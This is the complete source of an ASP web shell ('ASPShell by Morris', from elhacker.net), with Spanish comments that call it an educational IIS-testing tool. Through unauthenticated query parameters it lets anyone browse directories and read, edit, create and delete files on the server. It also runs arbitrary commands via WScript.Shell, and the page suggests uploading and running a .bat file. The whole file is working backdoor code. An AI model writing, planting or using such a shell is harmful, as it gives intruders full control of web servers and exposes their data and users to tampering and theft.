<%
Propiedad = "www.elhacker.net"
' Este shell servirá en servidores con una mala configuración si el servidor NO ES vulnerable MANDARA ERRORES
' Esta herramienta ha sido creada para ayudar a los administradores a probar la configuración de su IIS
' NO ME HAGO RESPONSABLE POR EL MAL USO QUE SE LE DE A ESTA HERRAMIENTA
' Cualquier comentario y mejora se agradecerá morris@elhacker.net
' Este material es educacional y se debe de usar de la misma forma
' Si encuentras un servidor vulnerable que no sea tuyo, avisa al administrador. El te lo agradecerá.
' http://foro.elhacker.net/index.php/topic,56790.0.html
' ##### ##### ##### ##### ##### ##### ##### ##### ##### ##### ##### #####
' ##### ##### ##### ##### VISITANOS EN ##### ##### ##### #####
' ##### ##### ##### ##### FORO.elhacker.net ##### ##### ##### #####
' ##### ##### ##### ##### ##### ##### ##### ##### ##### ##### ##### #####
' Code by Morris
' #### #### ##### ###### ###### ## ####
' #### ##### # # ## # ## # ## #
' ## # # ## # # ## ### ## ### ## #####
' ## # # ## # # ## # ## # ## #
' ## # ## ##### ## # ## # ## #####
ON ERROR RESUME NEXT
Archivo = "myshell.asp"
Accion = Request.QueryString("Accion")
Path = Request.QueryString("Path")
IF Path = "" THEN
Path = Server.MapPath(".")
END IF
PathFile = Request.QueryString("PathFile")
' Crea instancia del FileSystemObject
Set MyFileObject=Server.CreateObject("Scripting.FileSystemObject")
' Create el objeto Folder
Set MyFolder=MyFileObject.GetFolder(Path)
'Loop a través de los folders
FUNCTION MapURL(path)
ON ERROR RESUME NEXT
dim rootPath, url
'Convierte la ruta fisica por una virtual para abrir los archivos
rootPath = Server.MapPath("/")
url = Right(path, Len(path) - Len(rootPath))
MapURL = Replace(url, "\", "/")
END FUNCTION
' RetVal = Shell("C:\WINDOWS\CALC.EXE", 1) ' Run Calculator.
'response.Write(Path)
%>
<%
IF Propiedad = "" OR Propiedad <> "www.elhacker.net" THEN
Response.Write("<h1><font color=Red>Maldito lammer no borres la propiedad de este código - <br>Propiedad www.elhacker.net - foro.elhacker.net</font></h1>")
Response.end
END IF
IF Accion = "Guardar" THEN
Set MyOutStream=MyFileObject.OpenTextFile(PathFile, 2, TRUE)
MyOutStream.Write(Request.Form("texto"))
MyOutStream.Close
%>
La información ha sido guardada.
<br>
<a href="javascript:history.go(-2)">Regresar</a>
<%
END IF
IF Accion = "Ejecutar" THEN
On Error Resume Next
Dim Shell, Ejecutar
Set Shell = CreateObject("WScript.Shell")
Archivo = Request.QueryString("Archivo")
Set Ejecutar = Shell.Exec(Archivo)
Do While Ejecutar.Status = 0
WScript.Sleep 100
Loop
WScript.Echo Ejecutar.Status
Response.Write("done")
END IF
IF Accion = "Nuevo" THEN
Archivo = Request.QueryString("Archivo")
IF Archivo = "" THEN
Archivo = "ArchivoNuevo.txt"
END IF
Set fso = CreateObject("Scripting.FileSystemObject")
Set MyFile = fso.CreateTextFile(PathFile & "\" & Archivo, True)
MyFile.WriteLine("This is a test.")
MyFile.Close
END IF
IF Accion = "Borrar" THEN
Set fso = CreateObject("Scripting.FileSystemObject")
Set MyFile = fso.GetFile(PathFile)
MyFile.Delete
END IF
IF Accion = "Editar" THEN%>
<form action="<%=Archivo%>?Accion=Guardar&PathFile=<%=PathFile%>" method="post">
<textarea name="texto" cols=100 rows=25>
<%
Set MyTextFile = MyFileObject.OpenTextFile(PathFile)
WHILE NOT MyTextFile.AtEndOfStream
Response.Write( Server.HTMLEncode(MyTextFile.ReadLine) & Chr(10))
WEND
MyTextFile.Close
%>
</textarea>
<BR>
<input type=submit value="Guardar">
</form>
<%
Response.end
END IF
%>
<HTML>
<BODY BGCOLOR="#FFFFFF" TEXT="#000000" LINK="#000000" VLINK="#000000">
<p><BR>
<B>ASPShell by Morris - Version 1.0 - <a href="http://www.elhacker.net">elhacker.net</a></B><BR>
</p>
<form action="<%=Archivo%>">
<input name="Accion" type="hidden" value="Ruta">
<input name="Path" type="text" id="Path" value="<%=Path%>" size="70">
<input type="submit" value="Ir">
</form>
<br>
<TABLE BORDER=0 CELLPADDING=3 CELLSPACING=0 width="100%">
<TR BGCOLOR="#000000">
<TD><FONT COLOR="#FFFFFF"><B>Nombre de Archivo:</B></FONT></TD>
<TD><FONT COLOR="#FFFFFF"><B>Acciones:</B></FONT></TD>
<TD><FONT COLOR="#FFFFFF"><B>Tamaño:</B></FONT></TD>
<TD><FONT COLOR="#FFFFFF"><B>Tipo de archivo:</B></FONT></TD>
<TD><FONT COLOR="#FFFFFF"><B>Fecha de creación:</B></FONT></TD>
<%
FOR EACH thing in MyFolder.SubFolders
ON ERROR RESUME NEXT
%>
<TR BGCOLOR="#F7F7E7">
<TD><A HREF="<%=Archivo%>?Path=<%=Path%>\<%=thing.Name%>">[ <%=thing.Name%> ]</A></TD>
<TD></TD>
<TD ALIGN=RIGHT><%=thing.Size%>bytes</TD>
<TD><%=thing.Type%></TD>
<TD><%=thing.DateCreated%></TD>
<%
NEXT
'Loop a través de los archivos
FOR EACH thing in MyFolder.Files
ON ERROR RESUME NEXT
url = MapURL(thing.path)
%>
<TR BGCOLOR="#F7F7E7">
<TD><A HREF="<%=Archivo%>?Path=<%=Path%>\<%=thing.Name%>&Accion=Editar"><%=thing.Name%></A></TD>
<TD><A HREF="<%=Archivo%>?Path=<%=Path%>&PathFile=<%=Path%>\<%=thing.Name%>&Accion=Borrar">Borar</A></TD>
<TD ALIGN=RIGHT><%=thing.Size%>bytes</TD>
<TD><%=thing.Type%></TD>
<TD><%=thing.DateCreated%></TD>
<%
NEXT
%>
</TABLE>
Total de directorios
<%
Response.Write(MyFolder.SubFolders.Count )
%>
Total de archivos
<%
Response.Write(MyFolder.Files.Count )
%>
<br><br>
<form name="form1" action="<%=Archivo%>">
<input name="Path" type="hidden" value="<%=Path%>">
<input name="PathFile" type="hidden" value="<%=Path%>">
<input name="Accion" type="hidden" value="Nuevo">
<input name="Archivo" type="text" id="Archivo" value="Nombre Archivo.ext">
<input name="Submit" type="submit" value="Nuevo Archivo">
</form>
<strong><font color="#FF0000">Lo más recomendable es subir un .bat y ejecutar ese archivo poniendo la ruta completa hasta el .bat </font></strong>
<form name="form1" action="<%=Archivo%>">
<input name="Path" type="hidden" value="<%=Path%>/archivo.bat">
<input name="PathFile" type="hidden" value="<%=Path%>">
<input name="Accion" type="hidden" value="Ejecutar">
<input name="Archivo" type="text" id="Archivo" value="<%Path%>">
<input name="Submit" type="submit" value="Ejecutar">
</form>
</BODY>
</HTML>
<%
Response.Write("Visitanos en foro.elhacker.net")
%>